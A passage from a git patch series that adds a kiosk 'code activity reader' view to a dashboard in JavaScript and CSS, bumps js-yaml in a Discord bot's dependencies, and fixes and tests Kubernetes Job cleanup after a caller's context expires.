dwell(current); + if (current.node && current.node.scrollIntoView) current.node.scrollIntoView({block: 'start', behavior: 'smooth'}); + } + var wait = readUntil - Date.now(); + if (pending.length && wait <= 0) { advance(); return; } + if (pending.length) timer = setTimeout(advance, wait); + updateStatus(); + } + function setPaused(value){ + if (manualPause === value) return; + manualPause = value; + stop(); + if (!manualPause) schedule(true); + updateStatus(); + } + function inspect(){ setPaused(true); } + function clearContent(message){ + stop(); + enabled = false; pending = []; current = null; lastSeq = 0; problem = message; + feed.replaceChildren(); + updateStatus(); + } + pull = function(){ + if (loading) { again = true; return; } + loading = true; again = false; + fetch('/api/matrix/lines?since=' + lastSeq, {cache: 'no-store', credentials: 'same-origin'}) + .then(function(response){ + if (response.status === 404) { clearContent('The code activity reader is not enabled on this hive'); return null; } + if (response.status === 401 || response.status === 403) { clearContent('Sign in with permission to read code activity'); return null; } + if (!response.ok) throw new Error('reader pull failed'); + return response.json(); + }).then(function(data){ + if (!data) return; + var seq = Number(data.seq) || 0; + // A restarted hive can reset its sequence; start over cleanly. + if (seq < lastSeq) { stop(); pending = []; current = null; lastSeq = 0; feed.replaceChildren(); } + var raw = Array.isArray(data.lines) ? data.lines : []; + var incoming = raw.filter(function(line){ + return line && typeof line.line === 'string' && typeof line.repo === 'string' && typeof line.path === 'string'; + }); + var source = typeof data.source === 'string' ? data.source : ''; + group(incoming, STAGES[source] || source || 'pushed'); + // data.seq is the newest line the hive holds, not the last one in + // this page: the server caps a page, so resume from the last line + // returned and pull again until the page reaches the newest seq. + var returned = raw.length ? Number(raw[raw.length - 1] && raw[raw.length - 1].seq) || 0 : 0; + var more = returned > 0 && returned < seq; + lastSeq = more ? returned : seq; + enabled = true; problem = ''; + // Hold the reveal while catching up so a region split across + // pages still arrives as one paragraph. + if (more) { again = true; updateStatus(); return; } + schedule(false); + }).catch(function(){ problem = 'Code activity unavailable Β· retrying'; updateStatus(); }) + .finally(function(){ loading = false; if (again) pull(); }); + }; + button.addEventListener('click', function(){ setPaused(!manualPause); }); + scroller.addEventListener('wheel', inspect, {passive: true}); + scroller.addEventListener('touchstart', inspect, {passive: true}); + document.addEventListener('visibilitychange', function(){ + if (document.hidden) { stop(); updateStatus(); return; } + schedule(true); pull(); + }); + document.addEventListener('keydown', function(event){ + var target = event.target || {}; + if (event.ctrlKey || event.metaKey || event.altKey || + /INPUT|TEXTAREA|SELECT/.test(target.tagName) || target.isContentEditable) return; + if (NAV_KEYS.indexOf(event.key) >= 0) { inspect(); return; } + if (event.repeat) return; + if (event.key === 'p' || event.key === 'P' || (event.code === 'Space' && target.tagName !== 'BUTTON')) { + event.preventDefault(); setPaused(!manualPause); + } + }); + motion.addEventListener('change', function(){ stop(); schedule(false); }); + updateStatus(); pull(); + // Recover from missed nudges, endpoint activation and transient failures. + if (typeof dashboardSetInterval === 'function') { + dashboardSetInterval('reader-poll', function(){ if (!document.hidden) pull(); }, 30000); + } + }; +})(); diff --git a/src/pkg/dashboard/static-src/js/refresh.js b/src/pkg/dashboard/static-src/js/refresh.js index e9b865ac63..2f57184955 100644 --- a/src/pkg/dashboard/static-src/js/refresh.js +++ b/src/pkg/dashboard/static-src/js/refresh.js @@ -482,6 +482,8 @@ if (typeof data.matrixEnabled === 'boolean') { const matrixTab = document.getElementById('oc-matrix-tab'); if (matrixTab) matrixTab.hidden = !data.matrixEnabled; + const readerTab = document.getElementById('oc-reader-tab'); + if (readerTab) readerTab.hidden = !data.matrixEnabled; } if (document.body.style.opacity === '0') document.body.style.opacity = '1'; const scrollAnchor = captureScrollAnchor(); diff --git a/src/pkg/dashboard/static-src/js/sse-bootstrap.js b/src/pkg/dashboard/static-src/js/sse-bootstrap.js index 16a90550c5..925a9cfce8 100644 --- a/src/pkg/dashboard/static-src/js/sse-bootstrap.js +++ b/src/pkg/dashboard/static-src/js/sse-bootstrap.js @@ -29,6 +29,7 @@ const source = new EventSource('/api/events'); _eventSource = source; if (window.HIVE_MATRIX) window.hiveMatrixAttach(source); + if (window.HIVE_READER) window.hiveReaderAttach(source); _sseOpenedAtMs = Date.now(); _sseLastFrameAtMs = 0; const conn = document.getElementById('conn'); diff --git a/src/pkg/dashboard/static-src/manifest.txt b/src/pkg/dashboard/static-src/manifest.txt index 468411c7b3..29f97e4627 100644 --- a/src/pkg/dashboard/static-src/manifest.txt +++ b/src/pkg/dashboard/static-src/manifest.txt @@ -34,9 +34,11 @@ css/review-campaigns.css css/kiosk.css css/popout.css css/matrix.css +css/reader.css css/variables.css glue/style-close-body-open.html js/matrix.js +js/reader.js js/boot.js glue/boot-script-close.html html/auth.html diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 990b805bdc..3d9a4bdb95 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1782,7 +1782,7 @@ line is centred under the first rather than ragged-left. */ .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 0 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; text-align: center; } .ham-chevron-copy :is(.ham-seg-t, .ham-detour, .ham-holder, .ham-gate-detail) { display: inline; white-space: normal; overflow-wrap: anywhere; } - .ham-chevron-copy > .ham-decision-trigger { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + .ham-chevron-copy > .ham-decision-trigger { min-height: 0; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } .config-tooltip.ham-chevron-tip { overflow-wrap: anywhere; max-width: calc(100vw - var(--sp-8)); max-height: calc(100vh - var(--sp-8)); overflow-y: auto; pointer-events: auto; } @keyframes ham-pulse { 0%, 100% { opacity: 0; } 50% { opacity: 0.3; } } /* ---- tracker-cues: the Activity Monitor's shared cue vocabulary ------ @@ -7099,6 +7099,31 @@ body.matrix-mode .matrix-list small { color: var(--matrix-muted); } body.matrix-mode #hive-matrix [hidden] { display: none !important; } body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } +body.reader-mode #hive-dashboard-root { display: none !important; } +body.reader-mode #hive-reader { + --reader-bg: #0b0f0c; + --reader-surface: #121a14; + --reader-text: #e8f5eb; + --reader-muted: #b8ccbb; + --reader-add: #7ee2a0; + --reader-del: #ff8f8f; + --reader-tail: 10rem; + position: fixed; inset: 0; z-index: 100000; display: flex; flex-direction: column; + background: var(--reader-bg); color: var(--reader-text); font: 20px/1.5 monospace; +} +body.reader-mode .reader-bar { display: flex; flex-wrap: wrap; align-items: center; gap: var(--sp-3) var(--sp-5); padding: var(--sp-3) var(--sp-5); color: var(--reader-muted); font-size: var(--fs-touch); overflow-wrap: anywhere; } +body.reader-mode .reader-status { flex: 1 1 auto; color: var(--reader-text); } +body.reader-mode .reader-pause { font: inherit; color: var(--reader-text); background: var(--reader-surface); border: 1px solid var(--reader-muted); border-radius: var(--radius-sm); padding: var(--sp-2) var(--sp-6); cursor: pointer; } +body.reader-mode .reader-scroll { flex: 1 1 auto; min-height: 0; overflow-y: auto; overscroll-behavior: contain; padding: var(--sp-0) var(--sp-5) var(--reader-tail); } +body.reader-mode .reader-card { max-width: 80rem; margin: 0 auto 1.5rem; padding: var(--sp-3) var(--sp-5); background: var(--reader-surface); border-radius: var(--radius); } +body.reader-mode .reader-meta { display: flex; flex-wrap: wrap; gap: .25rem 1.25rem; color: var(--reader-muted); font-size: var(--fs-touch); overflow-wrap: anywhere; } +body.reader-mode .reader-repo { color: var(--reader-text); font-weight: 600; } +body.reader-mode a.reader-repo { text-decoration: underline; } +body.reader-mode .reader-diff { margin: .5rem 0 0; font: inherit; white-space: pre-wrap; overflow-wrap: anywhere; } +body.reader-mode .reader-add { color: var(--reader-add); } +body.reader-mode .reader-del { color: var(--reader-del); } +body.reader-mode #hive-reader [hidden] { display: none !important; } +body.reader-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } .var-empty{color:var(--muted);font-size:var(--fs-sm);padding:var(--sp-2) var(--sp-0)} .var-section{margin-top:var(--sp-6);border-top:1px solid var(--border);padding-top:var(--sp-5)} .var-heading{font-weight:600;font-size:var(--fs-sm);margin-bottom:var(--sp-4)} @@ -7463,6 +7488,237 @@ } }; })(); +// Code activity reader (#16475): changed regions as readable paragraphs on +// the kiosk. Opt-in like Matrix and fed by the same authorized pull endpoint +// (the shared SSE stream only nudges). Code is always set with textContent. +(function(){ + 'use strict'; + var pull = function(){}; + window.hiveReaderAttach = function(source){ + if (!window.HIVE_READER) return; + source.addEventListener('code-lines', function(){ pull(); }); + source.addEventListener('open', function(){ pull(); }); + }; + window.hiveReaderStart = function(){ + if (!window.HIVE_READER || document.getElementById('hive-reader')) return; + // Cards kept on screen, regions waiting to be read, and how long one + // paragraph stays in focus before the next arrives. + var MAX_CARDS = 60, MAX_PENDING = 40, BASE_DWELL = 5000, LINE_DWELL = 600, MAX_DWELL = 30000; + var NAV_KEYS = ['ArrowUp', 'ArrowDown', 'PageUp', 'PageDown', 'Home', 'End']; + var STAGES = {'pushed-lines': 'pushed'}; + var root = document.createElement('main'); + root.id = 'hive-reader'; + root.setAttribute('aria-label', 'Code activity reader'); + document.body.appendChild(root); + function element(tag, className, text, parent){ + var el = document.createElement(tag); + el.className = className; + if (text) el.textContent = text; + (parent || root).appendChild(el); + return el; + } + var bar = element('div', 'reader-bar'); + element('span', 'reader-source', 'Source: changes pushed by hive Β· public allowlisted repos', bar); + var status = element('span', 'reader-status', 'Waiting for pushed changes…', bar); + status.setAttribute('role', 'status'); + var button = element('button', 'reader-pause', 'Pause', bar); + button.setAttribute('type', 'button'); + button.setAttribute('aria-pressed', 'false'); + button.setAttribute('title', 'Pause or resume (P / Space)'); + var scroller = element('div', 'reader-scroll'); + scroller.setAttribute('tabindex', '0'); + var feed = element('div', 'reader-feed', '', scroller); + var motion = window.matchMedia('(prefers-reduced-motion: reduce)'); + var pending = [], current = null, readUntil = 0, timer = 0, lastSeq = 0; + var enabled = false, manualPause = false, loading = false, again = false, problem = ''; + function paused(){ return manualPause || document.hidden; } + function regionKey(line){ return [line.repo, line.pr, line.head || '', line.path].join('\u0000'); } + // Consecutive lines of one file at one head form one contiguous region; + // a gap in seq (a dropped line or another file) starts a new one. Only + // unread regions grow, so a paragraph on screen never changes. + function group(lines, stage){ + lines.forEach(function(line){ + var last = pending[pending.length - 1], seq = Number(line.seq) || 0; + if (last && last.key === regionKey(line) && seq && seq === last.lastSeq + 1) { + last.lines.push(line); last.lastSeq = seq; last.at = line.at; + return; + } + pending.push({key: regionKey(line), repo: line.repo, pr: Number(line.pr) || 0, path: line.path, + stage: stage, prUrl: line.pr_url, lines: [line], lastSeq: seq, at: line.at}); + }); + if (pending.length > MAX_PENDING) pending = pending.slice(-MAX_PENDING); + } + // Prefer an https pr_url from the source; otherwise derive the link from repo and PR number. + function prLink(region){ + if (typeof region.prUrl === 'string' && /^https:\/\/[^\s<>"']+$/.test(region.prUrl)) return region.prUrl; + if (/^[\w.-]+\/[\w.-]+$/.test(region.repo || '') && region.pr > 0) { + return 'https://github.com/' + region.repo + '/pull/' + region.pr; + } + return ''; + } + function observed(at){ + var ms = Date.parse(at); + if (!Number.isFinite(ms)) return {iso: '', text: 'observed time unknown'}; + var d = new Date(ms); + // The shared helper honours the dashboard time-zone preference. + var shown = typeof formatDashboardDateTime === 'function' ? formatDashboardDateTime(d) : d.toISOString(); + return {iso: d.toISOString(), text: 'observed ' + shown}; + } + function card(region){ + var article = document.createElement('article'); + article.className = 'reader-card'; + var meta = element('header', 'reader-meta', '', article); + var href = prLink(region); + var repo = element(href ? 'a' : 'span', 'reader-repo', region.repo + (region.pr > 0 ? ' #' + region.pr : ''), meta); + if (href) { + repo.href = href; + repo.setAttribute('target', '_blank'); + repo.setAttribute('rel', 'noopener noreferrer'); + } + element('span', 'reader-file', region.path, meta); + element('span', 'reader-stage', region.stage, meta); + var when = observed(region.at); + var time = element('time', 'reader-time', when.text, meta); + if (when.iso) time.setAttribute('datetime', when.iso); + var diff = element('pre', 'reader-diff', '', article); + region.lines.forEach(function(line){ + var del = line.op === '-'; + var row = element('span', 'reader-line ' + (del ? 'reader-del' : 'reader-add'), '', diff); + row.textContent = (del ? '\u2212' : line.op || '+') + ' ' + line.line + '\n'; + }); + return article; + } + function dwell(region){ return Math.min(MAX_DWELL, BASE_DWELL + region.lines.length * LINE_DWELL); } + // Drop the oldest cards and keep the visible text where it was. + function trim(){ + while (feed.children.length > MAX_CARDS) { + var first = feed.children[0], height = first.offsetHeight || 0; + feed.removeChild(first); + scroller.scrollTop = Math.max(0, (scroller.scrollTop || 0) - height); + } + } + function reveal(region, scroll){ + region.node = card(region); + feed.appendChild(region.node); + trim(); + current = region; + readUntil = Date.now() + dwell(region); + if (scroll && region.node.scrollIntoView) region.node.scrollIntoView({block: 'start', behavior: motion.matches ? 'auto' : 'smooth'}); + } + function updateStatus(){ + var text = problem; + if (!text && enabled) { + if (pending.length) text = pending.length + (pending.length === 1 ? ' change' : ' changes') + ' waiting'; + else text = current ? 'Caught up Β· holding until new changes are pushed' : 'Waiting for pushed changes…'; + } + if (paused()) text = 'paused' + (text ? ' Β· ' + text : ''); + status.textContent = text; + button.textContent = manualPause ? 'Resume' : 'Pause'; + button.setAttribute('aria-pressed', manualPause ? 'true' : 'false'); + } + function stop(){ clearTimeout(timer); timer = 0; } + function advance(){ + timer = 0; + if (!enabled || paused() || motion.matches) return; + // Quiet hold when caught up: no replay, no filler, nothing scheduled. + if (pending.length) { + reveal(pending.shift(), true); + timer = setTimeout(advance, dwell(current)); + } + updateStatus(); + } + // Starts the next reveal once the current paragraph's dwell ends; never + // restarts a running dwell, so incoming work cannot interrupt reading. + function schedule(fresh){ + if (timer || !enabled || paused()) { updateStatus(); return; } + if (motion.matches) { + // Static and scrollable: everything is shown, nothing scrolls by itself. + while (pending.length) reveal(pending.shift(), false); + updateStatus(); + return; + } + if (fresh && current) { + readUntil = Date.now() + dwell(current); + if (current.node && current.node.scrollIntoView) current.node.scrollIntoView({block: 'start', behavior: 'smooth'}); + } + var wait = readUntil - Date.now(); + if (pending.length && wait <= 0) { advance(); return; } + if (pending.length) timer = setTimeout(advance, wait); + updateStatus(); + } + function setPaused(value){ + if (manualPause === value) return; + manualPause = value; + stop(); + if (!manualPause) schedule(true); + updateStatus(); + } + function inspect(){ setPaused(true); } + function clearContent(message){ + stop(); + enabled = false; pending = []; current = null; lastSeq = 0; problem = message; + feed.replaceChildren(); + updateStatus(); + } + pull = function(){ + if (loading) { again = true; return; } + loading = true; again = false; + fetch('/api/matrix/lines?since=' + lastSeq, {cache: 'no-store', credentials: 'same-origin'}) + .then(function(response){ + if (response.status === 404) { clearContent('The code activity reader is not enabled on this hive'); return null; } + if (response.status === 401 || response.status === 403) { clearContent('Sign in with permission to read code activity'); return null; } + if (!response.ok) throw new Error('reader pull failed'); + return response.json(); + }).then(function(data){ + if (!data) return; + var seq = Number(data.seq) || 0; + // A restarted hive can reset its sequence; start over cleanly. + if (seq < lastSeq) { stop(); pending = []; current = null; lastSeq = 0; feed.replaceChildren(); } + var raw = Array.isArray(data.lines) ? data.lines : []; + var incoming = raw.filter(function(line){ + return line && typeof line.line === 'string' && typeof line.repo === 'string' && typeof line.path === 'string'; + }); + var source = typeof data.source === 'string' ? data.source : ''; + group(incoming, STAGES[source] || source || 'pushed'); + // data.seq is the newest line the hive holds, not the last one in + // this page: the server caps a page, so resume from the last line + // returned and pull again until the page reaches the newest seq. + var returned = raw.length ? Number(raw[raw.length - 1] && raw[raw.length - 1].seq) || 0 : 0; + var more = returned > 0 && returned < seq; + lastSeq = more ? returned : seq; + enabled = true; problem = ''; + // Hold the reveal while catching up so a region split across + // pages still arrives as one paragraph. + if (more) { again = true; updateStatus(); return; } + schedule(false); + }).catch(function(){ problem = 'Code activity unavailable Β· retrying'; updateStatus(); }) + .finally(function(){ loading = false; if (again) pull(); }); + }; + button.addEventListener('click', function(){ setPaused(!manualPause); }); + scroller.addEventListener('wheel', inspect, {passive: true}); + scroller.addEventListener('touchstart', inspect, {passive: true}); + document.addEventListener('visibilitychange', function(){ + if (document.hidden) { stop(); updateStatus(); return; } + schedule(true); pull(); + }); + document.addEventListener('keydown', function(event){ + var target = event.target || {}; + if (event.ctrlKey || event.metaKey || event.altKey || + /INPUT|TEXTAREA|SELECT/.test(target.tagName) || target.isContentEditable) return; + if (NAV_KEYS.indexOf(event.key) >= 0) { inspect(); return; } + if (event.repeat) return; + if (event.key === 'p' || event.key === 'P' || (event.code === 'Space' && target.tagName !== 'BUTTON')) { + event.preventDefault(); setPaused(!manualPause); + } + }); + motion.addEventListener('change', function(){ stop(); schedule(false); }); + updateStatus(); pull(); + // Recover from missed nudges, endpoint activation and transient failures. + if (typeof dashboardSetInterval === 'function') { + dashboardSetInterval('reader-poll', function(){ if (!document.hidden) pull(); }, 30000); + } + }; +})(); // Apply layout immediately; keep the shell visible while live data loads. // NOTE: only body classes are set here β€” the .layout-toggle buttons do NOT // exist in the DOM yet at this point, so any label write here is a no-op. @@ -7506,6 +7762,12 @@ document.body.classList.add('matrix-mode'); document.addEventListener('DOMContentLoaded', function(){ typeof hiveMatrixStart === 'function' && hiveMatrixStart(); }); } + // Code activity reader (#16475): same opt-in data as Matrix, read as paragraphs. + window.HIVE_READER = kiosk && view === 'reader'; + if(window.HIVE_READER){ + document.body.classList.add('reader-mode'); + document.addEventListener('DOMContentLoaded', function(){ typeof hiveReaderStart === 'function' && hiveReaderStart(); }); + } window.HIVE_KIOSK=kiosk; window.HIVE_POPOUT=popout&&!kiosk; window.HIVE_DISPLAY=display&&!kiosk; @@ -8022,6 +8284,7 @@ <h2 class="config-title">🐝 Getting Started<span id="welcome-progress" class=" <button type="button" class="nav-chip nav-chip--icon nav-chip--action feedback-bug-btn" id="feedback-bug-btn" data-action="openFeedbackModal" data-arg0="submit" title="Report a bug or request a feature" aria-label="Report a bug or request a feature"><span class="nav-chip__icon" aria-hidden="true">πŸ›</span><span class="feedback-pill" id="feedback-unread-pill" hidden>0</span></button> <button class="nav-chip nav-chip--icon nav-chip--action layout-toggle" data-action="toggleLayout" title="Switch to Dark Mode" aria-label="Switch to Dark Mode">☾</button> <a class="nav-chip nav-chip--action" id="oc-matrix-tab" href="?kiosk=1&view=matrix" title="Matrix display β€” opt-in code rain" aria-label="Matrix display" hidden><span class="nav-chip__label">Matrix</span></a> + <a class="nav-chip nav-chip--action" id="oc-reader-tab" href="?kiosk=1&view=reader" title="Code activity reader β€” pushed changes as readable paragraphs" aria-label="Code activity reader" hidden><span class="nav-chip__label">Reader</span></a> <button type="button" class="nav-chip nav-chip--action" id="oc-settings-btn" data-action="openConfigDialog" data-arg0="governor" title="Settings β€” governor, agents, thresholds, and all hive settings" aria-label="Settings"><span class="nav-chip__icon" aria-hidden="true">βš™</span><span class="nav-chip__label">Settings</span></button> <span id="dashboard-custom-style-note" class="nav-chip nav-chip--status nav-chip--neutral dashboard-custom-style-note" style="display:none" role="status"></span> <!-- Agent Logs hidden (redundant with per-agent output) --> @@ -8737,7 +9000,7 @@ <h3 class="faq-group-title">Where to get help</h3> </div><!-- /#hive-dashboard-root --> <!-- Kiosk call-to-action badge (#16236). The server replaces this comment with pkg/webassets/kioskcta markup at start-up; it sits outside - #hive-dashboard-root because the Matrix view hides the root. Visible + #hive-dashboard-root because the Matrix and reader views hide the root. Visible only with body.kiosk-cta-on (kiosk=1 and not cta=off, see js/boot.js). --> <!-- hive-kiosk-cta --> @@ -45004,6 +45267,8 @@ <h3 class="modal-h">How Agents Use Knowledge (Priming)</h3> if (typeof data.matrixEnabled === 'boolean') { const matrixTab = document.getElementById('oc-matrix-tab'); if (matrixTab) matrixTab.hidden = !data.matrixEnabled; + const readerTab = document.getElementById('oc-reader-tab'); + if (readerTab) readerTab.hidden = !data.matrixEnabled; } if (document.body.style.opacity === '0') document.body.style.opacity = '1'; const scrollAnchor = captureScrollAnchor(); @@ -51441,6 +51706,7 @@ <h3 style="color:var(--amber);text-align:center">Configure LiteLLM</h3> const source = new EventSource('/api/events'); _eventSource = source; if (window.HIVE_MATRIX) window.hiveMatrixAttach(source); + if (window.HIVE_READER) window.hiveReaderAttach(source); _sseOpenedAtMs = Date.now(); _sseLastFrameAtMs = 0; const conn = document.getElementById('conn'); From cdb15d7a6b18aa368e1e46c07190f933bca6767a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 08:19:03 +0000 Subject: [PATCH 53/87] =?UTF-8?q?=F0=9F=8C=B1=20build(deps):=20bump=20js-y?= =?UTF-8?q?aml=20from=204.3.2=20to=205.5.0=20in=20/discord=20(#16566)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bumps [js-yaml](https://github.com/nodeca/js-yaml) from 4.3.2 to 5.5.0. - [Changelog](https://github.com/nodeca/js-yaml/blob/master/CHANGELOG.md) - [Commits](https://github.com/nodeca/js-yaml/compare/4.3.2...5.5.0) --- updated-dependencies: - dependency-name: js-yaml dependency-version: 5.5.0 dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- discord/package-lock.json | 30 ++++++++++++++++++++---------- discord/package.json | 2 +- 2 files changed, 21 insertions(+), 11 deletions(-) diff --git a/discord/package-lock.json b/discord/package-lock.json index 8667eb914e..6edbe71ce5 100644 --- a/discord/package-lock.json +++ b/discord/package-lock.json @@ -9,7 +9,7 @@ "version": "1.0.0", "dependencies": { "discord.js": "^14.16.0", - "js-yaml": "^4.3.2" + "js-yaml": "^5.5.0" } }, "node_modules/@discordjs/builders": { @@ -204,10 +204,20 @@ } }, "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "license": "Python-2.0" + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-3.0.4.tgz", + "integrity": "sha512-fwWK3Zq22l4XJJjx5mcBHGikIk+hJqO+32dPm0Jur7+rtG5x1scOjSfdT9ZKeWHPpsya/l0HHK4tDImBkTrtvA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "PSF-2.0" }, "node_modules/discord-api-types": { "version": "0.38.52", @@ -252,9 +262,9 @@ "license": "MIT" }, "node_modules/js-yaml": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.2.tgz", - "integrity": "sha512-SFNOvSJ+Dgf/9An904Yx+CgSlIPCkIpao4qo51lpee25TIRejdH3rhR4EZMGoNx3/TP3O+wzWuiTFl4sqbltzA==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-5.5.0.tgz", + "integrity": "sha512-paNr4LFIFPjeeSmwNYdrb8FafLLG/Cr2Af3GjbsHJ5CxIjH4r0c2emlmRdAtpPAieP1gRVzk6buBbVP5gBMGAg==", "funding": [ { "type": "github", @@ -267,10 +277,10 @@ ], "license": "MIT", "dependencies": { - "argparse": "^2.0.1" + "argparse": "^3.0.3" }, "bin": { - "js-yaml": "bin/js-yaml.js" + "js-yaml": "bin/js-yaml.mjs" } }, "node_modules/lodash": { diff --git a/discord/package.json b/discord/package.json index 1eccf4cf32..5c9252c6ed 100644 --- a/discord/package.json +++ b/discord/package.json @@ -8,6 +8,6 @@ }, "dependencies": { "discord.js": "^14.16.0", - "js-yaml": "^4.3.2" + "js-yaml": "^5.5.0" } } From 0414cba435f9b297e1811682027caaf63bc7cb82 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 08:35:02 +0000 Subject: [PATCH 54/87] =?UTF-8?q?=F0=9F=90=9B=20fix(kubejob):=20delete=20c?= =?UTF-8?q?ompleted=20Jobs=20on=20a=20live=20context=20when=20the=20caller?= =?UTF-8?q?=20deadline=20expires=20mid-collection=20(#16548)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/fixed-kubejob-cleanup-ctx.md | 1 + src/crux/kubejob/kubejob.go | 10 +++- src/crux/kubejob/kubejob_test.go | 62 ++++++++++++++++++------ 3 files changed, 58 insertions(+), 15 deletions(-) create mode 100644 changelog.d/fixed-kubejob-cleanup-ctx.md diff --git a/changelog.d/fixed-kubejob-cleanup-ctx.md b/changelog.d/fixed-kubejob-cleanup-ctx.md new file mode 100644 index 0000000000..aa2fb91a14 --- /dev/null +++ b/changelog.d/fixed-kubejob-cleanup-ctx.md @@ -0,0 +1 @@ +- Completed Kubernetes Jobs are now immediately deleted even if the caller's context expires during pod log collection, preventing them from lingering for the full TTL ([#16547](https://github.com/hivecommons/hive/issues/16547)). diff --git a/src/crux/kubejob/kubejob.go b/src/crux/kubejob/kubejob.go index 59815fe0f8..d930cadfdd 100644 --- a/src/crux/kubejob/kubejob.go +++ b/src/crux/kubejob/kubejob.go @@ -255,7 +255,15 @@ func (l *Launcher) Run(ctx context.Context, spec sandbox.LaunchSpec) (sandbox.Re // pod could not be read back (already GC'd, or RBAC on pods missing). res.ExitCode = 0 } - _ = l.delete(ctx, jobPath) + // Collection may have expired the context even on success; use a fresh one + // for cleanup to ensure the finished Job is immediately removed. + deleteCtx := ctx + if ctx.Err() != nil { + var cancel context.CancelFunc + deleteCtx, cancel = context.WithTimeout(context.Background(), requestTimeout) + defer cancel() + } + _ = l.delete(deleteCtx, jobPath) return res, nil } diff --git a/src/crux/kubejob/kubejob_test.go b/src/crux/kubejob/kubejob_test.go index 322d838a9e..31fc73d647 100644 --- a/src/crux/kubejob/kubejob_test.go +++ b/src/crux/kubejob/kubejob_test.go @@ -24,19 +24,21 @@ import ( // was sent, serves a scripted sequence of Job statuses, one pod, its log and // its terminated exit code, and records deletes. type fakeAPI struct { - mu sync.Mutex - created map[string]any - statuses []string // JSON bodies served to successive GET job calls - getCalls int - deleted bool - podName string - exitCode int - noPod bool - logBody string - podStatus string // "terminated" or "running" - failCode int // when >0, every request fails with this status - createErr int // when >0, POST fails with this status - onJobGet func() // called (under mu) on every GET job, after it is counted + mu sync.Mutex + created map[string]any + statuses []string // JSON bodies served to successive GET job calls + getCalls int + deleted bool + podName string + exitCode int + noPod bool + logBody string + podStatus string // "terminated" or "running" + failCode int // when >0, every request fails with this status + createErr int // when >0, POST fails with this status + onJobGet func() // called (under mu) on every GET job, after it is counted + onPodLogAfterComplete func() // called (under mu) on pod log request after Job Complete + jobCompleted bool // tracks whether job status shows Complete } func newFakeAPI() *fakeAPI { @@ -73,10 +75,14 @@ func (f *fakeAPI) handler(t *testing.T) http.HandlerFunc { i = len(f.statuses) - 1 } f.getCalls++ + statusBody := f.statuses[i] + if strings.Contains(statusBody, `"type":"Complete"`) { + f.jobCompleted = true + } if f.onJobGet != nil { f.onJobGet() } - _, _ = w.Write([]byte(f.statuses[i])) + _, _ = w.Write([]byte(statusBody)) case r.Method == http.MethodDelete: f.deleted = true _, _ = w.Write([]byte(`{"kind":"Status","status":"Success"}`)) @@ -87,6 +93,9 @@ func (f *fakeAPI) handler(t *testing.T) http.HandlerFunc { } _, _ = w.Write([]byte(`{"items":[{"metadata":{"name":"` + f.podName + `"}}]}`)) case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/log"): + if f.jobCompleted && f.onPodLogAfterComplete != nil { + f.onPodLogAfterComplete() + } _, _ = w.Write([]byte(f.logBody)) case r.Method == http.MethodGet && strings.Contains(r.URL.Path, "/pods/"): state := `{"terminated":{"exitCode":` + itoa(f.exitCode) + `}}` @@ -226,6 +235,31 @@ func TestRunCompleteWithNoPodStillSucceeds(t *testing.T) { } } +func TestRunSuccessDeletesJobEvenIfContextExpiresDuringLogCollection(t *testing.T) { + api := newFakeAPI() + api.statuses = []string{statusPending, statusComplete} + srv := httptest.NewServer(api.handler(t)) + defer srv.Close() + l := newLauncher(srv, Options{}) + + // Cancel context during pod log collection, after Job is Complete. + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + api.onPodLogAfterComplete = cancel + + res, err := l.Run(ctx, specFor("/data/agents/sandbox/deps-123")) + // Run should succeed: context expires during collection but cleanup uses a fresh context. + if err != nil { + t.Fatalf("Run: %v", err) + } + if res.ExitCode != 0 { + t.Errorf("ExitCode = %d, want 0", res.ExitCode) + } + if !api.deleted { + t.Error("Job must be deleted even if context expires during log collection") + } +} + func TestRunCreateFailureCarriesAPIMessage(t *testing.T) { api := newFakeAPI() api.failCode = http.StatusForbidden From 33d29177c02c9f963e3e1cbdcde411bb5e0e671b Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" 